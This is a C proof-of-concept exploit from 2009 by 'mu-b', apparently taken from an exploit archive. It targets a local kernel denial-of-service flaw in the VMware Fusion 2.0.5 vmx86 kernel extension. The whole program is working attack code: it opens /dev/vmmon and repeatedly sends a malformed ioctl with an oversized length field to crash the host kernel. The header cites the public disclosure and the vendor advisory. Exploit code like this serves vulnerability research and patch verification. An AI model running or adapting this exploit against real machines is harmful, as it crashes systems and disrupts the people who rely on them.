VMWare Fusion <= 2.0.5 vmx86 kext local PoC

/* vmware-pop.c * * Copyright (c) 2009 by <mu-b@digit-labs.org> * * VMware Fusion <= 2.0.5 vmx86 kext local denial of service POC * by mu-b - Mon 22 June 2009 * * - Tested on: VMware Fusion 2.0.4 (10.5.x) * VMware Fusion 2.0.5 (10.5.x) * * http://seclists.org/fulldisclosure/2009/Oct/29 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html * * - this exploit is provided for educational purposes _only_. You are free * to use this code in any way you wish provided you do not work for, or * are associated in any way with Portcullis Computer Security Ltd. * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define VMX86_IOCTL 0x80045643 struct ioctl_req { struct ioctl_req_buf *uaddr; }; struct ioctl_req_buf { char pad[0x8]; int len; char _pad[0xC]; }; int main (int argc, char **argv) { struct ioctl_req req; struct ioctl_req_buf buf; int fd, r; printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel denial of service PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); fd = open ("/dev/vmmon", O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } memset (&req, 0, sizeof req); req.uaddr = &buf; memset (&buf, 0x41, sizeof buf); buf.len = 0xAAAAAAA; printf ("* hitting...\n"); while (1) r = ioctl (fd, VMX86_IOCTL, &req); /* not reachable!$%! */ return (EXIT_SUCCESS); }